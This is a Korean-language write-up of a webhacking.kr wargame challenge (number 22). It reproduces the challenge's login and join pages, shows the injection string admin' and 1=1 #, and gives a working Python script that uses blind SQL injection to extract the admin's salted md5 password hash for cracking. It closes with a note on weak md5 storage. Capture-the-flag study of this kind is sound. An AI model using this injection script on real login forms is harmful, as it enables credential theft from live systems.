
22번 문제는 500점쯤 되는 꽤 높은 점수의 문제이다.
일단 문제 모양을 보니 전에 난독화를 풀고 admin으로 회원가입하는 문제가 생각난다. 어쨌든 $id에 admin을 우겨넣어야겠다.
다만 요번엔 소스에 별 특이사항이 없다.
<html> <head> <title>Challenge 22</title> <style type="text/css"> body { background:black; color:white; font-size:10pt; } table { background:black; color:white; font-size:9pt; } input { background:silver; color:black; font-size:9pt; } a { color:lightgreen; } </style> </head> <body> <form method=post action=index.php> <table border=1 cellpadding=5 cellspacing=0> <tr><td>username</td><td><input name=id type=text></td></tr> <tr><td>password</td><td><input name=pw type=password></td></tr> <tr align=center><td><input type=submit value='login'></td><td><input type=button value='join' onclick=location.href='?mode=join' style=width:100;></td></tr> </form> <p> </table><br><br> <pre> <a style=background:silver;color:red;width:400;><b>HINT</b></a> <a style=background:white;color:black;width:400;> echo("hi! $id"); echo("your password is $pw"); if($id=="admin") echo("good! Password is $solution"); </a> </pre> </body> </html>
메인도 평범하고,
<html> <head> <title>Challenge 22</title> <style type="text/css"> body { background:black; color:white; font-size:10pt; } table { background:black; color:white; font-size:9pt; } input { background:silver; color:black; font-size:9pt; } a { color:lightgreen; } </style> </head> <body> <form method=post action=index.php?mode=join> <table border=1> <tr><td>username</td><td><input name=id type=text></td></tr> <tr><td>password</td><td><input name=pw type=password></td></tr> <tr><td align=center colspan=2><input type=submit value='join'></td></tr> </form>
회원가입도 평범하다. 이제 비집고 들어가보기 위해 이것저것 쳐보자.
'admin '으로 가입하니까 이미 있다고 나오길래, admi+n 으로 가입했는데 그냥 가입이 된다. 본문에서 공백을 따로 제거하지 않는 모양이다.
바로 될린 없으니 아쉽진않고, 공백을 쳐넣은다음에 로그인을 해보니 뭔가 만들어진다.

유저 키가 만들어졌다는데, md5인것 같다.
크랙해보기로 한다. 크랙은 여러번 나왔지만 여기서 하면 된다.
비밀번호를 1로 했는데, 1zombie 라는 값이라고 한다. zombie가 salt처럼 붙고, md5 처리되는걸로 생각할 수 있다.
근데 이걸로 딱히 뭘 할수는 없는것 같다. 이걸 일단 알고만 있자.
그림에선 your password 어쩌고 이렇게 나왔지만 결국 user key가 md5화되어 pw란에 저장되고 있다는것을 guess할 수 있다.
우리는 admin을 공략해야하니까 blind sql injection을 해야한다. id란에는 union이 no hack으로 필터되고 있기 때문에 여태 해왔던 방법처럼 한자리씩 대조해보자
우선 쿼리문은 이렇게 쓴다. 조금 다른점이 있다면 여지껏 뒷 문장을 주석처리 한적은 없으나 요번엔 내가 원하는데로 쿼리문을 잘라야하기때문에, 주석을 붙여서 뒷라인을 무력화해아한다. 주석은 --나, //, # 등이 있는데 일반적으로 #이 많이 쓰이는듯하다.
admin' and 1=1 #
위와같이 id에 값을 실어보내면 Wrong!이 아니라 Wrong password!가 뜬다. 이제 시작해보면 되겠지?
다만 이번 경우는 form값이 POST이기때문에 조금 다르게 해준다. 이번엔 ascii도 필터링되지 않아 hex로 변환도 필요없이 깔끔하게 구문을 만들 수 있다.
#!/usr/bin/env python # -*- coding: utf8 -*- import urllib, urllib2, re sess = "" headers = {'Host': 'webhacking.kr', 'Cookie': "PHPSESSID={}".format(sess) } pw = '' for i in range(1,33): for j in range(48,123): url = 'http://webhacking.kr/challenge/bonus/bonus-2/index.php' data = "id=admin' and ascii(substr(pw,{},1))={}#".format(i,j) req = urllib2.Request(url, data, headers) response = urllib2.urlopen(req).read() if ("Wrong password!" in response): pw = pw + chr(j) break print pw
좀 안타까운일이라면 여기엔 대문자가 없음에도 대문자를 검사해야한다. 아스키코드상으로 우선이기때문에.. 이건 처리하려면 처리할 수 있는 부분이지만 나는 그냥 돌렸다. 32자리의 md5 hash값을 얻으면 이곳에서 decrypt해보면 된다.
다만 아까 얻은 값에 zombie가 붙어있는데 우린 이 값이 salt임을 안다. 제거하면 비밀번호를 얻을 수 있다.
타이핑 해주면 패스..
이 문제는 사실 어떻게 보면 굉장히 민감한 내용이다.
패스워드 자리수를 추측하지 못하게 hash화 하는것은 굉장히 좋은 방법이며, salt를 추가한것도 아주 권장되는 방법이다.
다만, md5 와 sha1은 이미 cracking되어 문제풀이와 같이 아주 쉽게 박살낼 수 있다.
최근 문제가 된 뽐뿌의 경우도 md5로 패스워드를 보관했다하니 그냥 절단났다고 할 수 있다.
hash화 했다고 안심하지 말자!